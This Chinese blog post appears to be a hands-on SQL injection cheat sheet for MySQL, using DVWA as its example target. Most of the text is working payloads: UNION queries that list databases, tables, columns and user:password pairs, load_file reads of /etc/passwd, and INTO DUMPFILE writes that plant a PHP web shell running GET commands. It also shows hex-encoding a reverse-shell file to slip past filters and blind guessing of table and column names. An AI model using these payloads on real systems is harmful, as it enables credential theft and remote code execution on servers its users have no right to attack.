手工SQL注入

出现原因

服务器程序将用户输入的参数作为查询条件,服务器对参数不严格校验就拼接sql语句。

SELECT * FROM users WHERE user='uname' AND password='pass'
SELECT * FROM users WHERE user='name' AND password='' OR ''=''

漏洞发现

报错检测
' " % ()

布尔检测
1' and '1'='1 | 1' and '1
1' and '1'='2 | 1' and '0

手工注入流程

1.判断sql语句查询了几个字段

'order by 9--+(--后必须有空格,在url上空格等同于+)

2.联合查询

' union select 1,2--+

常用函数

user() -- DB用户
version() -- DB版本
char() -- ascii转字符串
database() -- 当前库
CONCAT_WS() -- 连接字符串,如CONCAT_WS(CHAR(32,58,32),user(),database(),version())
md5() -- 计算md5值
全局函数
@@datadir -- 数据库路径
@@hostname -- 主机名
@@VERSION -- DB版本
@@version_compile_os -- 系统版本

Mysql数据结构

information_schema -- 略

联合查询

所有库和所有表
'union select table_name,table_schema from information_schema.tables--+
列出库和库里表的数量
'union select table_schema,count(*) FROM information_Schema.tables group by table_schema--+
查指定库的表
'union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
查指定表的列
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
查指定列的内容
'union select user,password from dvwa.users--+
'union select null, concat(user,0x3a,password) from users--+

sql注入其他利用方法

读取文件
'union SELECT null, load_file('/etc/passwd')--+
写入文件
'union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/ www/a.php" --+

没有权限写入www目录时可以考虑写入/tmp目录,然后使用文件包含
可以通过编码为16进制格式绕过字符限制

' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'--+
cat php-revers-shell.php | xxd -ps | tr -d '\n'
保存数据库
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--

特殊情况下的sql注入

无权读取information_schema库和拒绝union、order by语句

猜列名
' and column is null--+(使用工具进行fuzz)
猜当前表
' and table.user is null--+(有可能找到其他表)
猜其他表
' and (select count(*) from table)>0--+
猜指定表的列
' and users.user is null--+
猜字段内容
' or user='admin'--+
' or user like '%a%'--+

当数据库可写

利用insert,update和delete注入获取数据

盲注

盲注是不能通过直接显示的途径来获取数据库数据的方法。
分为:
Booleanbase(布尔型)
Timebase(时间型)
Errorbase(错误型)

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容